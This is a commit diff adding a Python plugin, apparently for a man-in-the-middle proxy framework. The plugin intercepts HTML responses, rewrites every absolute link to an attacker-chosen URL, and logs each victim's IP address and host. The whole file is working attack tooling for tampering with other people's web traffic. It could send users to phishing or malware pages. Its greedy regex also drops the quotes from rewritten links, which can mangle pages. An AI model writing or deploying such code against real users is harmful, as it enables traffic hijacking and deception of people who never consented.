added link re-writer plugin

plugins/Linkrewriter.py

@@ -0,0 +1,48 @@
+#There probably is a better way of doing this
+
+import logging, re, sys, os
+from plugins.plugin import Plugin
+
+class LinkRw(Plugin):
+    name = "Link Re-Writer"
+    optname = "linkrw"
+    implements = ["handleResponse"]
+    has_opts = True
+    desc = "Rewrites all href attributes to a specified url"
+    
+    def initialize(self, options):
+        '''Called if plugin is enabled, passed the options namespace'''
+        self.options = options
+        self.url = options.url 
+
+        self.mime = "text/html"
+
+        print "[*] Link Re-Writer plugin online"
+
+
+    def handleResponse(self, request, data):
+        ip,hn,mime = self._get_req_info(request)
+        if mime.find(self.mime)!=-1:
+
+            data = self.repl_hrefs(data)
+            logging.info("%s [%s] Re-wrote hrefs" % (request.client.getClientIP(), request.headers['host']))
+            return {'request':request,'data':data}
+        else:
+            return
+
+    def add_options(self, options):
+        options.add_argument("--url", type=str, help="URL to re-write")
+            
+    def _get_req_info(self, request):
+        ip = request.client.getClientIP()
+        hn = request.client.getRequestHostname()
+        mime = request.client.headers['Content-Type']
+        return (ip,hn,mime)
+
+    def repl_hrefs(self, data):
+
+        regex = [re.compile(r"href=[\'\"]http[s]?://.+[\'\"]", re.I)]
+            
+        for i,r in enumerate(regex):
+            data=re.sub(r, "href=" + self.url, data)
+        return data